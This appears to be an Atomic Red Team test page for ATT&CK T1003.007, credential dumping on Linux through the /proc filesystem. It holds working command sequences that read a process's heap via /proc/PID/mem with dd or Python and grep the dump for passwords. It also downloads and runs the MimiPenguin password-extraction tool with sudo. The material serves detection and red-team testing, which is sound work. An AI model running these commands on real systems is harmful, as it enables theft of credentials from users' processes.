Try it using Invoke-Atomic

OS Credential Dumping: Proc Filesystem

Description from ATT&CK

Adversaries may gather credentials from the proc filesystem or 

1

/proc
. The proc filesystem is a pseudo-filesystem used as an interface to kernel data structures for Linux based systems managing virtual memory. For each process, the 
1

/proc/<PID>/maps
file shows how memory is mapped within the process’s virtual address space. And 
1

/proc/<PID>/mem
, exposed for debugging purposes, provides access to the process’s virtual address space.(Citation: Picus Labs Proc cump 2022)(Citation: baeldung Linux proc map 2022)

When executing with root privileges, adversaries can search these memory locations for all processes on a system that contain patterns indicative of credentials. Adversaries may use regex patterns, such as _*grep -E "^[0-9a-f-] r" /proc/"$pid"/maps cut -d' ' -f 1**_, to look for fixed strings in memory structures or cached hashes.(Citation: atomic-red proc file system) When running without privileged access, processes can still view their own virtual memory locations. Some services or programs may save credentials in clear text inside the process’s memory.(Citation: MimiPenguin GitHub May 2017)(Citation: Polop Linux PrivEsc Gitbook)

If running as or with the permissions of a web browser, a process can search the 

1

/maps
& 
1

/mem
locations for common website credential patterns (that can also be used to find adjacent memory within the same structure) in which hashes or cleartext credentials may be located.

Atomic Tests

Atomic Test #1 - Dump individual process memory with sh (Local)

Using 

1

/proc/$PID/mem
, where $PID is the target process ID, use shell utilities to copy process memory to an external file so it can be searched or exfiltrated later.

Supported Platforms: linux

auto_generated_guid: 7e91138a-8e74-456d-a007-973d67a0bb80

Inputs:

Name Description Type Default Value
output_file Path where captured results will be placed path /tmp/T1003.007.bin
script_path Path to script generating the target process path /tmp/T1003.007.sh
pid_term Unique string to use to identify target process string T1003.007

Attack Commands: Run with sh! Elevation Required (e.g. root or admin)

1
2
3
4
5
6
7
8

sh #{script_path}
PID=$(pgrep -n -f "#{pid_term}")
HEAP_MEM=$(grep -E "^[0-9a-f-]* r" /proc/"$PID"/maps | grep heap | cut -d' ' -f 1)
MEM_START=$(echo $((0x$(echo "$HEAP_MEM" | cut -d"-" -f1))))
MEM_STOP=$(echo $((0x$(echo "$HEAP_MEM" | cut -d"-" -f2))))
MEM_SIZE=$(echo $((0x$MEM_STOP-0x$MEM_START)))
dd if=/proc/"${PID}"/mem of="#{output_file}" ibs=1 skip="$MEM_START" count="$MEM_SIZE"
grep -i "PASS" "#{output_file}"

Cleanup Commands:

1

rm -f "#{output_file}"

Dependencies: Run with sh!

Description: Script to launch target process must exist

Check Prereq Commands:

1
2

test -f #{script_path}
grep "#{pid_term}" #{script_path}

Get Prereq Commands:

1
2

echo '#!/bin/sh' > #{script_path}
echo "sh -c 'echo \"The password is #{pid_term}\" && sleep 30' &" >> #{script_path}

Atomic Test #2 - Dump individual process memory with sh on FreeBSD (Local)

Using 

1

/proc/$PID/mem
, where $PID is the target process ID, use shell utilities to copy process memory to an external file so it can be searched or exfiltrated later. On FreeBSD procfs must be mounted.

Supported Platforms: linux

auto_generated_guid: fa37b633-e097-4415-b2b8-c5bf4c86e423

Inputs:

Name Description Type Default Value
output_file Path where captured results will be placed path /tmp/T1003.007.bin
script_path Path to script generating the target process path /tmp/T1003.007.sh
pid_term Unique string to use to identify target process string T1003.007

Attack Commands: Run with sh! Elevation Required (e.g. root or admin)

1
2
3
4
5
6
7

sh #{script_path}
PID=$(pgrep -n -f "#{pid_term}")
MEM_START=$(head -n 5 /proc/"${PID}"/map | tail -1 | cut -d' ' -f1)
MEM_STOP=$(head -n 5 /proc/"${PID}"/map | tail -1 | cut -d' ' -f2)
MEM_SIZE=$(echo $(($MEM_STOP-$MEM_START)))
dd if=/proc/"${PID}"/mem of="#{output_file}" ibs=1 skip="$MEM_START" count="$MEM_SIZE"
strings "#{output_file}" | grep -i PASS

Cleanup Commands:

1

rm -f "#{output_file}"

Dependencies: Run with sh!

Description: Script to launch target process must exist

Check Prereq Commands:

1
2

test -f #{script_path}
grep "#{pid_term}" #{script_path}

Get Prereq Commands:

1
2

echo '#!/bin/sh' > #{script_path}
echo "sh -c 'echo \"The password is #{pid_term}\" && sleep 30' &" >> #{script_path}

Atomic Test #3 - Dump individual process memory with Python (Local)

Using 

1

/proc/$PID/mem
, where $PID is the target process ID, use a Python script to copy a process's heap memory to an external file so it can be searched or exfiltrated later. On FreeBSD procfs must be mounted.

Supported Platforms: linux

auto_generated_guid: 437b2003-a20d-4ed8-834c-4964f24eec63

Inputs:

Name Description Type Default Value
output_file Path where captured results will be placed path /tmp/T1003.007.bin
script_path Path to script generating the target process path /tmp/T1003.007.sh
python_script Path to script generating the target process path PathToAtomicsFolder/T1003.007/src/dump_heap.py
pid_term Unique string to use to identify target process string T1003.007

Attack Commands: Run with sh! Elevation Required (e.g. root or admin)

1
2
3
4
5

sh #{script_path}
PID=$(pgrep -n -f "#{pid_term}")
PYTHON=$(which python || which python3 || which python2)
$PYTHON #{python_script} $PID #{output_file}
grep -i "PASS" "#{output_file}"

Cleanup Commands:

1

rm -f "#{output_file}"

Dependencies: Run with sh!

Description: Script to launch target process must exist

Check Prereq Commands:

1
2

test -f #{script_path}
grep "#{pid_term}" #{script_path}

Get Prereq Commands:

1
2

echo '#!/bin/sh' > #{script_path}
echo "sh -c 'echo \"The password is #{pid_term}\" && sleep 30' &" >> #{script_path}

Description: Requires Python

Check Prereq Commands:

1

(which python || which python3 || which python2)

Get Prereq Commands:

1

echo "Python 2.7+ or 3.4+ must be installed"

Atomic Test #4 - Capture Passwords with MimiPenguin

MimiPenguin is a tool inspired by MimiKatz that targets Linux systems affected by CVE-2018-20781 (Ubuntu-based distros and certain versions of GNOME Keyring). Upon successful execution on an affected system, MimiPenguin will retrieve passwords from memory and output them to a specified file. See https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20781. See https://www.tecmint.com/mimipenguin-hack-login-passwords-of-linux-users/#:~:text=Mimipenguin%20is%20a%20free%20and,tested%20on%20various%20Linux%20distributions.

Supported Platforms: linux

auto_generated_guid: a27418de-bdce-4ebd-b655-38f04842bf0c

Inputs:

Name Description Type Default Value
output_file Path where captured results will be placed path /tmp/T1003.007Test3.txt
MimiPenguin_Location Path of MimiPenguin script path /tmp/mimipenguin/mimipenguin_2.0-release/mimipenguin.sh

Attack Commands: Run with bash! Elevation Required (e.g. root or admin)

1
2

sudo #{MimiPenguin_Location} > #{output_file}
cat #{output_file}

Cleanup Commands:

1

rm -f #{output_file} > /dev/null

Dependencies: Run with sh!

Description: MimiPenguin script must exist on disk at specified location (#{MimiPenguin_Location})

Check Prereq Commands:

1

if [ -f "#{MimiPenguin_Location}" ]; then exit 0; else exit 1; fi;

Get Prereq Commands:

1
2
3

wget -O "/tmp/mimipenguin.tar.gz" https://github.com/huntergregal/mimipenguin/releases/download/2.0-release/mimipenguin_2.0-release.tar.gz
mkdir /tmp/mimipenguin
tar -xzvf "/tmp/mimipenguin.tar.gz" -C /tmp/mimipenguin

Description: Strings must be installed

Check Prereq Commands:

1

if [ -x "$(command -v strings --version)" ]; then exit 0; else exit 1; fi;

Get Prereq Commands:

1

sudo apt-get -y install binutils

Description: Python2 must be installed

Check Prereq Commands:

1

if [ -x "$(command -v python2 --version)" ]; then exit 0; else exit 1; fi;

Get Prereq Commands:

1

sudo apt-get -y install python2

Description: Libc-bin must be installed

Check Prereq Commands:

1

if [ -x "$(command -v ldd --version)" ]; then exit 0; else exit 1; fi;

Get Prereq Commands:

1

sudo apt-get -y install libc-bin

source